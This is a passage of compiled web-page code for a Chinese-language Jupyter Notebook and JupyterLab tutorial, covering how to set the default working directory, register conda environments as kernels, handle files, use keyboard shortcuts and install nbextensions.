'D:\\\\Adatascience'"})]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220804170455298.png",alt:"image-20220804170455298",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"7",children:["\n",(0,i.jsxs)(n.li,{children:["\u6b64\u65f6\u6211\u4eec\u5728\u7ec8\u7aef\u4e2d\u8f93\u5165",(0,i.jsx)(n.code,{children:"jupyter notebook"}),"\uff0c\u6253\u5f00\u9875\u9762\u540e\u53d1\u73b0\u6587\u4ef6\u9ed8\u8ba4\u8def\u5f84\u5df2\u7ecf\u88ab\u66f4\u6539\u3002\u4f46\u662f\u70b9\u51fb\u83dc\u5355\u680f\u4e2d\u7684\u5e94\u7528\u5feb\u6377\u65b9\u5f0f\u6253\u5f00Jupyter Notebook\uff0c\u6253\u5f00\u9875\u9762\u53d1\u73b0\u6587\u4ef6\u4f4d\u7f6e\u4ecd\u7136\u662f\u9ed8\u8ba4\u8def\u5f84"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220716235931573.png",alt:"image-20220716235931573",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"8",children:["\n",(0,i.jsx)(n.li,{children:"\u5982\u679c\u6211\u4eec\u60f3\u8981\u66f4\u6539\u5e94\u7528\u5feb\u6377\u65b9\u5f0fJupyter Notebook\u7684\u6587\u4ef6\u4f4d\u7f6e\uff0c\u6b64\u65f6\u9700\u8981\u53f3\u952e\u9009\u4e2d\u5feb\u6377\u65b9\u5f0f\uff0c\u6253\u5f00\u6587\u4ef6\u6240\u5728\u4f4d\u7f6e\u3002\u518d\u53f3\u952e\u70b9\u51fb\u5feb\u6377\u65b9\u5f0f\uff0c\u67e5\u770b\u5c5e\u6027\uff0c\u518d\u70b9\u51fb\u5feb\u6377\u65b9\u5f0f"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220717000530228.png",alt:"image-20220717000530228",style:{zoom:"25%"}}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220804171027983.png",alt:"image-20220804171027983",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"9",children:["\n",(0,i.jsx)(n.li,{children:"\u6211\u4eec\u53ea\u9700\u8981\u5728\u201c\u76ee\u6807\u201d\u4e2d\u5220\u9664\u7ea2\u6846\u6807\u8bb0\u90e8\u5206\uff0c\u70b9\u51fb\u786e\u5b9a"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220717001243904.png",alt:"image-20220717001243904",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"10",children:["\n",(0,i.jsx)(n.li,{children:"\u6b64\u65f6\u518d\u6253\u5f00\u83dc\u5355\u680f\u4e2dJupyter Notebook\u7684\u5feb\u6377\u65b9\u5f0f\uff0c\u53d1\u73b0\u9875\u9762\u6587\u4ef6\u8def\u5f84\u5df2\u7ecf\u53d8\u4e3a\u4e4b\u524d\u81ea\u4e3b\u8bbe\u7f6e\u7684\u8def\u5f84\u5566\uff01"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Lab\u7684\u4fee\u6539\u64cd\u4f5c\u548cJupyter Notebook\u6d41\u7a0b\u76f8\u4f3c\uff0c\u4f46\u662f\u5728\u7ec6\u8282\u4e0a\u6709\u4e9b\u4e0d\u540c"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u540c\u6837\u6211\u4eec\u8fd8\u662f\u9996\u5148\u9700\u8981\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\uff0c\u5728\u7ec8\u7aef\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter lab --generate-config\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u627e\u5230\u914d\u7f6e\u6587\u4ef6\u6240\u5728\u7684\u6587\u4ef6\u5939\uff0c\u6253\u5f00\u914d\u7f6e\u6587\u4ef6"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u65f6\uff0c\u7528",(0,i.jsx)(n.code,{children:"Ctrl+F"}),"\u5feb\u6377\u952e\u67e5\u627e\uff0c\u8f93\u5165\u5173\u952e\u8bcd\uff0c\u627e\u5230",(0,i.jsx)(n.code,{children:"# c.ServerApp.notebook_dir"}),"\uff0c\u53bb\u6389\u6ce8\u91ca\u3002\u6539\u4e3a",(0,i.jsx)(n.code,{children:"c.ServerApp.notebook_dir = 'D:\\\\Adatascience\uff08\u8fd9\u91cc\u586b\u81ea\u5df1\u60f3\u6539\u7684\u6587\u4ef6\u8def\u5f84\uff09'"})]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4e4b\u540e\u7684\u6b65\u9aa4\u548cJupyter Notebook\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u7684\u7b2c\u4e03\u81f3\u7b2c\u5341\u6b65\u76f8\u540c"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"22-\u4f7f\u7528\u865a\u62df\u73af\u5883",children:"2.2 \u4f7f\u7528\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsx)(n.p,{children:"\u200b\t\t\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cAnaconda\u5b89\u88c5\u7684\u865a\u62df\u73af\u5883\u548cJupyter Notebook\u8fd0\u884c\u9700\u8981\u7684Kernel\u5e76\u4e0d\u4e92\u901a\u3002\u90a3\u4e48\u6211\u4eec\u8be5\u5982\u4f55\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u5e76\u4e14\u5982\u679c\u6211\u4eec\u60f3\u8981\u5207\u6362\u5185\u6838\uff08Change Kernel\uff09\uff0c\u8be5\u5982\u4f55\u64cd\u4f5c\u5462\uff1f"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\u5c06\u5728Anaconda\u4e2d\u521b\u5efa\u7684\u865a\u62df\u73af\u5883\u6dfb\u52a0",(0,i.jsx)(n.code,{children:"ipykernel"})]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"# \u5982\u679c\u8fd8\u6ca1\u521b\u5efa\u73af\u5883\uff0c\u5728\u521b\u5efa\u65f6\u8981\u52a0\u4e0aipykernel\nconda create -n env_name python=3.8 ipykernel\n# \u5982\u679c\u5df2\u7ecf\u521b\u5efa\u73af\u5883\uff0c\u5728\u73af\u5883\u4e2d\u5b89\u88c5ipykernel\npip install ipykernel\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u5c06\u865a\u62df\u73af\u5883\u5199\u8fdbJupyter"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'python -m ipykernel install --user --name env_name --display-name "env_name"\n'})}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsxs)(n.li,{children:["\u5728",(0,i.jsx)(n.code,{children:"Kernel"}),"\u4e2d\u66f4\u6362\u6dfb\u52a0\u7684\u865a\u62df\u73af\u5883\u5373\u53ef"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220812171025719.png",alt:"image-20220812171025719",style:{zoom:"25%"}}),"\n",(0,i.jsx)(n.h2,{id:"3-jupyter-notebooklab\u57fa\u672c\u64cd\u4f5c",children:"3 Jupyter Notebook\\Lab\u57fa\u672c\u64cd\u4f5c"}),"\n",(0,i.jsx)(n.h3,{id:"31-\u57fa\u672c\u4f7f\u7528",children:"3.1 \u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsx)(n.h4,{id:"311-jupyter-notebook",children:"3.1.1 Jupyter Notebook"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u521b\u5efa\u6587\u4ef6\uff1a\u70b9\u51fb\u53f3\u4e0a\u89d2New\uff0c\u9009\u62e9Notebook\uff1b\u521b\u5efa\u6587\u4ef6\u5939\uff1a\u70b9\u51fb\u53f3\u4e0a\u89d2New\uff0c\u9009\u62e9Folder"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805024106987.png",alt:"image-20220805024106987",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u5220\u9664\u6587\u4ef6\uff1a\u70b9\u51fb\u6587\u4ef6\u524d\u7684\u65b9\u6846\uff0c\u518d\u70b9\u51fb\u5220\u9664\u56fe\u6807"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805030406608.png",alt:"image-20220805030406608",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsx)(n.li,{children:"\u91cd\u547d\u540d\u6587\u4ef6\uff1a\u5f53\u6587\u4ef6\u5728\u8fd0\u884c\u65f6\uff08\u5373\u6587\u4ef6\u524d\u56fe\u6807\u4e3a\u7eff\u8272\uff09\uff0c\u9700\u8981\u5148\u70b9\u51fb\u201cShutdown\u201d\uff08\u5173\u95ed\u7ec8\u7aef\uff09\uff0c\u518d\u70b9\u51fb\u201cRename\u201d"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805031209481.png",alt:"image-20220805031209481",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u91cd\u547d\u540d\u6587\u4ef6\u5939\uff1a\u70b9\u51fb\u6587\u4ef6\u5939\u524d\u7684\u65b9\u6846\uff0c\u518d\u70b9\u51fb\u201cRename\u201d"}),"\n",(0,i.jsx)(n.li,{children:"\u590d\u5236\uff08Duplicate\uff09\u3001\u79fb\u52a8\uff08Move\uff09\u3001\u4e0b\u8f7d\uff08Download\uff09\u3001\u67e5\u770b\uff08View\uff09\u7b49\u64cd\u4f5c\uff0c\u540c\u6837\u53ef\u4ee5\u70b9\u51fb\u6587\u4ef6\u524d\u7684\u65b9\u6846\uff0c\u518d\u70b9\u4e0a\u65b9\u7684\u56fe\u6807\u8fdb\u884c\u64cd\u4f5c"}),"\n"]}),"\n",(0,i.jsx)(n.h4,{id:"312-jupyter-lab",children:"3.1.2 Jupyter Lab"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u7ea2\u6846\u5185\u6309\u94ae\u4ece\u5de6\u5230\u53f3\u5206\u522b\u662f\u65b0\u5efa\u6587\u4ef6\u3001\u65b0\u5efa\u6587\u4ef6\u5939\u3001\u4e0a\u4f20\u6587\u4ef6\u548c\u5237\u65b0"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805033034092",src:e(29734).A+"",width:"1286",height:"288"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u4e0a\u4f20\u591a\u4e2a\u6587\u4ef6\u7684\u65b9\u6cd5\uff1a"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u5c06\u6587\u4ef6\u6253\u5305\u6210\u4e00\u4e2azip\u538b\u7f29\u5305"}),"\n",(0,i.jsx)(n.li,{children:"\u4e0a\u4f20\u8be5\u538b\u7f29\u5305"}),"\n",(0,i.jsxs)(n.li,{children:["\u89e3\u538b\u6587\u4ef6",(0,i.jsx)(n.code,{children:"!unzip (\u538b\u7f29\u5305\u6240\u5728\u8def\u5f84) -d (\u89e3\u538b\u8def\u5f84)"}),"\uff0c\u4f8b\u5982\uff1a",(0,i.jsx)(n.code,{children:"!unzip coco.zip -d data/coco"})]}),"\n",(0,i.jsx)(n.li,{children:"\u5220\u9664\u8be5\u538b\u7f29\u5305"}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"32-\u5e38\u7528\u5feb\u6377\u952e",children:"3.2 \u5e38\u7528\u5feb\u6377\u952e"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5165\u95e8\u64cd\u4f5c"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"# \u589e\u52a0\uff0c\u51cf\u5c11\uff0c\u526a\u5207\uff0c\u4fdd\u5b58\uff0c\u5220\u9664\u7b49\n# a, b, x, s, dd\n\n# \u5408\u5e76\uff0c\u6267\u884c\u672c\u5355\u5143\u4ee3\u7801\uff0c\u5e76\u8df3\u8f6c\u5230\u4e0b\u4e00\u5355\u5143\uff0c\u6267\u884c\u672c\u5355\u5143\u4ee3\u7801\uff0c\u7559\u5728\u672c\u5355\u5143\n# Shift+M Shift+Enter Ctrl+Enter\n\n# \u663e\u793a\u884c\u6570\uff0c\u5207\u6362markdown/code\n# l, m/y\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Jupyter Notebook\u4e2d\u6309\u4e0bEnter\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\uff0c\u6309\u4e0bEsc\u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.strong,{children:"\u7f16\u8f91\u6a21\u5f0f\uff08\u7eff\u8272\uff09"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805144702521",src:e(84582).A+"",width:"2786",height:"118"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.strong,{children:"\u547d\u4ee4\u6a21\u5f0f\uff08\u84dd\u8272\uff09"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805144722375",src:e(39705).A+"",width:"2793",height:"125"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5728\u547d\u4ee4\u6a21\u5f0f\u4e0b\uff0c\u70b9\u51fbh\uff0c\u4f1a\u5f39\u51fa\u5feb\u6377\u952e\u7a97\u53e3"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805144803441.png",alt:"image-20220805144803441",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Lab\u540c\u6837\u6709\u4e24\u79cd\u6a21\u5f0f\u3002\u6309\u4e0bEnter\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\uff0c\u6309\u4e0bEsc\u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u7f16\u8f91\u6a21\u5f0f\uff08\u6709\u6846\u7ebf\u65e0\u5149\u6807\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805145218241",src:e(54822).A+"",width:"2932",height:"116"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u547d\u4ee4\u6a21\u5f0f\uff08\u65e0\u6846\u7ebf\u65e0\u5149\u6807\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805150721875",src:e(68696).A+"",width:"2922",height:"115"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u5feb\u6377\u952e\u64cd\u4f5c\u4e0eJupyter Notebook\u57fa\u672c\u76f8\u540c\uff0c\u53ef\u53c2\u8003\u4e0a\u4e00\u90e8\u5206"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u5feb\u6377\u952e\u6c47\u603b"}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u200b\t\t\t\u547d\u4ee4\u6a21\u5f0f\uff08\u6309",(0,i.jsx)(n.code,{children:"Esc"}),"\uff09"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Enter"})," : \u8f6c\u5165\u7f16\u8f91\u6a21\u5f0f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u9009\u4e2d\u4e0b\u4e2a\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Alt-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u5728\u5176\u4e0b\u63d2\u5165\u65b0\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Y"})," : \u5355\u5143\u8f6c\u5165\u4ee3\u7801\u72b6\u6001"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"M"})," :\u5355\u5143\u8f6c\u5165markdown\u72b6\u6001"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"R"})," : \u5355\u5143\u8f6c\u5165raw\u72b6\u6001"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"1"})," : \u8bbe\u5b9a 1 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"2"})," : \u8bbe\u5b9a 2 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"3"})," : \u8bbe\u5b9a 3 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"4"})," : \u8bbe\u5b9a 4 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"5"})," : \u8bbe\u5b9a 5 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"6"})," : \u8bbe\u5b9a 6 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Up"})," : \u9009\u4e2d\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"K"})," : \u9009\u4e2d\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Down"})," : \u9009\u4e2d\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"J"})," : \u9009\u4e2d\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-K"})," : \u6269\u5927\u9009\u4e2d\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-J"})," : \u6269\u5927\u9009\u4e2d\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"A"})," : \u5728\u4e0a\u65b9\u63d2\u5165\u65b0\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"B"})," : \u5728\u4e0b\u65b9\u63d2\u5165\u65b0\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"X"})," : \u526a\u5207\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"C"})," : \u590d\u5236\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-V"})," : \u7c98\u8d34\u5230\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"V"})," : \u7c98\u8d34\u5230\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Z"})," : \u6062\u590d\u5220\u9664\u7684\u6700\u540e\u4e00\u4e2a\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"D,D"})," : \u5220\u9664\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-M"})," : \u5408\u5e76\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-S"})," : \u6587\u4ef6\u5b58\u76d8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"S"})," : \u6587\u4ef6\u5b58\u76d8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"L"})," : \u8f6c\u6362\u884c\u53f7"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"O"})," : \u8f6c\u6362\u8f93\u51fa"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-O"})," : \u8f6c\u6362\u8f93\u51fa\u6eda\u52a8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Esc"})," : \u5173\u95ed\u9875\u9762"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Q"})," : \u5173\u95ed\u9875\u9762"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"H"})," : \u663e\u793a\u5feb\u6377\u952e\u5e2e\u52a9"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"I,I"})," : \u4e2d\u65adNotebook\u5185\u6838"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"0,0"})," : \u91cd\u542fNotebook\u5185\u6838"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift"})," : \u5ffd\u7565"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Space"})," : \u5411\u4e0a\u6eda\u52a8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Space"})," : \u5411\u4e0b\u6eda\u52a8"]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u200b\t\t\u7f16\u8f91\u6a21\u5f0f\uff08\u6309",(0,i.jsx)(n.code,{children:"Enter"}),"\uff09"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Tab"})," : \u4ee3\u7801\u8865\u5168\u6216\u7f29\u8fdb"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Tab"})," : \u63d0\u793a"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-]"})," : \u7f29\u8fdb"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-["})," : \u89e3\u9664\u7f29\u8fdb"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-A"})," : \u5168\u9009"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Z"})," : \u590d\u539f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Shift-Z"})," : \u518d\u505a"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Y"})," : \u518d\u505a"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Home"})," : \u8df3\u5230\u5355\u5143\u5f00\u5934"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Up"})," : \u8df3\u5230\u5355\u5143\u5f00\u5934"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-End"})," : \u8df3\u5230\u5355\u5143\u672b\u5c3e"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Down"})," : \u8df3\u5230\u5355\u5143\u672b\u5c3e"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Left"})," : \u8df3\u5230\u5de6\u8fb9\u4e00\u4e2a\u5b57\u9996"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Right"})," : \u8df3\u5230\u53f3\u8fb9\u4e00\u4e2a\u5b57\u9996"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Backspace"})," : \u5220\u9664\u524d\u9762\u4e00\u4e2a\u5b57"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Delete"})," : \u5220\u9664\u540e\u9762\u4e00\u4e2a\u5b57"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Esc"})," : \u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-M"})," : \u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u9009\u4e2d\u4e0b\u4e00\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Alt-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u5728\u4e0b\u9762\u63d2\u5165\u4e00\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Shift--"})," : \u5206\u5272\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Shift-Subtract"})," : \u5206\u5272\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-S"})," : \u6587\u4ef6\u5b58\u76d8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift"})," : \u5ffd\u7565"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Up"})," : \u5149\u6807\u4e0a\u79fb\u6216\u8f6c\u5165\u4e0a\u4e00\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Down"})," :\u5149\u6807\u4e0b\u79fb\u6216\u8f6c\u5165\u4e0b\u4e00\u5355\u5143"]}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"33-\u5b89\u88c5\u63d2\u4ef6",children:"3.3 \u5b89\u88c5\u63d2\u4ef6"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Notebook\u5b89\u88c5\u63d2\u4ef6\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5728Anaconda Powershell Prompt\u4e2d\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"pip install jupyter_contrib_nbextensions\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u518d\u6b21\u8f93\u5165\u4ee5\u4e0b\u6307\u4ee4\uff0c\u5c06\u63d2\u4ef6\u6dfb\u52a0\u5230\u5de5\u5177\u680f"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter contrib nbextension install\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u6253\u5f00Jupyter Notebook\uff0c\u70b9\u51fbNbextensions\uff0c\u53d6\u6d88\u52fe\u9009",(0,i.jsx)(n.code,{children:"disable configuration for nbextensions without explicit 